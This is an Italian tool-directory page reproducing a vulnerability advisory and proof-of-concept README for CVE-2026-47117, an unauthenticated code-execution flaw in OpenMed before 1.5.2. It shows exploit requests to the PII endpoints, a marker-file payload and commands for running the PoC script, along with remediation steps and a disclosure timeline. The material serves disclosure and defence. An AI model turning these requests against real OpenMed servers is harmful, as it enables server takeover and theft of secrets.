Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 RCE non autenticata tramite caricamento del modello del filtro privacy PII e trust_remote_code=True | Kitploit
Strumenti/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSicurezza dell'IA
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 RCE non autenticata tramite caricamento del modello del filtro privacy PII e trust_remote_code=True

Vedi Repository
1710 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-47117: Esecuzione Remota di Codice Non Autenticata in OpenMed tramite il Caricamento del Modello PII

Gravità: Critica, CVSS 4.0 9.3, CVSS 3.1 9.8 (assegnata da VulnCheck, il CNA)

Vettore (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vettore (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affetto: OpenMed < 1.5.2

Corretto in: 1.5.2

CWE: CWE-94 (Controllo Inadeguato della Generazione di Codice, Iniezione di Codice)

Scoperta e segnalata da: Sai Teja Erukude

Pubblicata: 2 giugno 2026


Riepilogo

OpenMed precedente alla versione 1.5.2 contiene una vulnerabilità di esecuzione remota di codice non autenticata nel percorso di caricamento del modello privacy-filter per i dati PII.

Gli endpoint REST API POST /pii/extract e POST /pii/deidentify accettano un valore model_name dal corpo della richiesta. Nelle versioni vulnerabili, il dispatcher del privacy-filter utilizzava una corrispondenza ampia per sottostringa su questo valore controllato dall'attaccante. Un nome di modello come attacker/foo-privacy-filter-bar poteva quindi essere instradato verso il backend del privacy-filter.

Sulle distribuzioni non-MLX/Torch, quel backend caricava gli artefatti del modello Hugging Face tramite Transformers con trust_remote_code=True. Se il repository del modello controllato dall'attaccante conteneva codice Transformers personalizzato referenziato tramite auto_map in config.json o tokenizer_config.json, Transformers importava ed eseguiva quel codice Python durante il caricamento del modello o del tokenizer.

Il codice importato veniva eseguito con i privilegi del processo del servizio OpenMed.

Impatto

Un attaccante remoto non autenticato che riesce a raggiungere la REST API di OpenMed può eseguire codice Python arbitrario sul server fornendo un identificatore di modello in stile Hugging Face malevolo in model_name.

A seconda della distribuzione del servizio, ciò può consentire di:

  • Leggere o modificare file accessibili al processo OpenMed.
  • Accedere a variabili d'ambiente e segreti dell'applicazione.
  • Chiamare servizi interni raggiungibili dall'host OpenMed.
  • Interrompere o sostituire il comportamento dell'applicazione.

Endpoint Affetti

Il problema è raggiungibile attraverso entrambi gli endpoint PII poiché entrambi accettano model_name e utilizzano lo stesso percorso di estrazione PII/caricamento del modello:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Dettagli tecnici

Il flusso di controllo vulnerabile presenta due fallimenti del confine di fiducia:

  1. L'API si fidava di un model_name fornito dall'utente durante la selezione del backend del filtro per la privacy.
  2. Il backend selezionato si fidava del codice del repository remoto del modello caricando gli artefatti di Transformers con trust_remote_code=True.

Il dispatcher trattava qualsiasi identificatore di modello contenente privacy-filter come appartenente alla famiglia dei filtri per la privacy. Ciò consentiva a identificatori controllati dall'attaccante, ad esempio attacker/foo-privacy-filter-bar, di raggiungere un percorso di codice destinato ai modelli Privacy Filter attendibili di prima parte.

Una volta instradati lì, Transformers poteva caricare codice personalizzato controllato dall'attaccante tramite auto_map. Questa importazione avviene durante il caricamento del modello/tokenizer, prima che qualsiasi inferenza utile debba avere successo. Un payload di prova può quindi essere ridotto a:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

Proof of Concept

poc_exploit.py crea una directory locale innocua di un modello in stile Hugging Face il cui nome contiene privacy-filter. I moduli Transformers personalizzati generati scrivono un file marcatore quando vengono importati. Lo script invia poi una richiesta a un'istanza di test dell'API OpenMed con quella directory come model_name.

Il comportamento atteso sulle versioni vulnerabili di OpenMed è:

  1. L'API accetta il model_name controllato dall'attaccante.
  2. L'instradamento per sottostringa lo invia al backend privacy-filter.
  3. Transformers importa il modulo personalizzato generato perché trust_remote_code=True.
  4. Il file marcatore viene creato, dimostrando l'esecuzione di codice nel processo del servizio OpenMed.
  5. La richiesta potrebbe fallire in seguito perché il modello giocattolo non è un vero modello Privacy Filter; il marcatore al momento dell'import è la prova rilevante.

Eseguire solo contro un'istanza di test locale:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

Se il servizio OpenMed viene eseguito in un ambiente che non può accedere alla directory locale generata, pubblica un modello di test equivalente su un repository Hugging Face controllato e passa esplicitamente quell'identificatore:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

Remediation

Eseguire l'aggiornamento a OpenMed 1.5.2 o versione successiva.

OpenMed 1.5.2 separa il routing dalla fiducia:

  • I nomi di repository arbitrari contenenti privacy-filter non vengono più instradati attraverso il percorso attendibile del privacy-filter.
  • PrivacyFilterTorchPipeline imposta trust_remote_code su False per impostazione predefinita.
  • Solo i repository Privacy Filter espliciti di prima parte sono inseriti nella allowlist per il caricamento attendibile di codice remoto.
  • Gli operatori che necessitano di fine-tuning privati controllati possono inserirli nella allowlist tramite OPENMED_TRUSTED_REMOTE_CODE_MODELS.

Se l'aggiornamento immediato non è possibile:

  • Non esporre l'API REST vulnerabile a client non attendibili.
  • Non passare valori model_name controllati dall'utente a Transformers con trust_remote_code=True.
  • Sostituire il routing dei modelli basato su sottostringhe con identificatori di modello attendibili esatti.
  • Precariare in produzione gli artefatti dei modelli locali approvati e disabilitare i download arbitrari dei modelli.

Cronologia della divulgazione

DataEvento
18 maggio 2026Vulnerabilità inviata a VulnCheck
20 maggio 2026VulnCheck ha avviato l'attività di divulgazione coordinata
22 maggio 2026CVE-2026-47117 assegnata in via provvisoria
1 giugno 2026Correzione di OpenMed 1.5.2 revisionata e confermata
2 giugno 2026CVE-2026-47117 pubblicata

Riconoscimenti

Scoperta e segnalata da Sai Teja Erukude.

La divulgazione è stata coordinata tramite VulnCheck.

Riferimenti

  • Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • Avviso VulnCheck: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • Note di rilascio di OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • Progetto OpenMed: https://github.com/maziyarpanahi/openmed
Scarica lo strumento